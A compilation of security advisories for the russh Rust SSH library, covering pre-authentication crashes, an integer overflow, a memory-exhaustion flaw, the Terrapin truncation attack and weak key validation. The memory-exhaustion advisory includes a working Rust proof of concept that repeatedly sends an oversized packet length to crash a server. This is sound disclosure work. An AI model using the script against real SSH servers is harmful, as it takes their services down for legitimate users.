Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1.

Summary The channel window adjust message of the SSH protocol is used to track the free space in the receive buffer of the other side of a channel. The current implementation takes the value from the message and adds it to an internal state value. This can result in a integer overflow. If the Rust code is compiled with overflow checks, it will panic. A malicious client can crash a server.

Details According https://datatracker.ietf.org/doc/html/rfc4254#section-5.2, The value must not overflow. The incorrect handling is done in server/encrypted.rs and client/encrypted.rs in the handling of CHANNELWINDOWADJUST.

let amount = maperr!(u32::decode(&mut r))?; ... channel.recipientwindowsize += amount;

It could be replaced with something like

if let Some(ref mut channel) = enc.channels.getmut(&channelnum) { // rfc 4254: The window MUST NOT be increased above 2^32 - 1 bytes. newsize = channel.recipientwindowsize.saturatingadd(amount); channel.recipientwindowsize = newsize; } ...

PoC A customized client code would be required to send a message with a big value like u32max. Not done yet.

Impact This problem seems only critical to a server. One user can crash the server, which might take down the service. A malicious server could also crash a single client, but this seems not very critical.

Summary

Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.

Details

An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.

https://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254

But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.

RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1

However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.

PoC

Running the echoserver example on port 2222 (cd russh && cargo run --release --example echoserver), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.

<details> <summary>Rust code to run against the echo server</summary>

Cargo.toml toml [package] name = "poc" version = "0.1.0" edition = "2021"

[dependencies] hex-literal = "=0.4.1"

main.rs rust use std::time::Duration; use std::{error::Error, net::SocketAddr};

use std::{ io::{Read, Write}, net::TcpStream, };

fn main() -> Result<(), Box<dyn Error>> { loop { attempt()?; eprintln!("still running, trying again in a few seconds"); std::thread::sleep(Duration::fromsecs(2)); } }

fn attempt() -> Result<(), Box<dyn Error>> { for i in 0..5 { eprintln!("iteration {i}"); let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?; s.writeall(b"SSH-2.0-OpenSSH9.7\r\n")?; s.read(&mut [0; 1000])?; // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00. s.writeall(&hexliteral::hex!( " ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353 1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c 637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6 e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69 7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686 13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669 652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2 d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d 763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314 06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630 31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7 63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274 2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303 1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572 742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314 06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73 73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6 5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c 736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613 22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d 736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636 f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331 32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636 f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331 32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4 06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575 6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656 e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68 6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6 5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163 2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613 22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63 6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323 5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065 6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632 d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61 632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6 f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f 70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000 " ))?;

s.shutdown(std::net::Shutdown::Both)?; } Ok(()) }

</details>

Impact

Due to this allocation, a russh server can be brought to OOM, causing a DoS. Since this happens before authentication, it can be done by any user that has access to the TCP port over the internet.

Summary

Terrapin is a prefix truncation attack targeting the SSH protocol. More precisely, Terrapin breaks the integrity of SSH's secure channel. By carefully adjusting the sequence numbers during the handshake, an attacker can remove an arbitrary amount of messages sent by the client or server at the beginning of the secure channel without the client or server noticing it.

Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes.

Warning: To take effect, both the client and server must support this countermeasure.

As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.

Details

The SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSHMSGEXTINFO sent after the first message after SSHMSGNEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.

The attack works by an attacker injecting an arbitrary number of SSHMSGIGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSHMSGIGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.

For more details see https://terrapin-attack.com.

Impact

This attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

russh is a Rust SSH client and server library. Starting in version 0.34.0 and prior to versions 0.36.2 and 0.37.1, Diffie-Hellman key validation is insufficient, which can lead to insecure shared secrets and therefore breaks confidentiality. Connections between a russh client and server or those of a russh peer with some other misbehaving peer are most likely to be problematic. These may vulnerable to eavesdropping. Most other implementations reject such keys, so this is mainly an interoperability issue in such a case. This issue is fixed in versions 0.36.2 and 0.37.1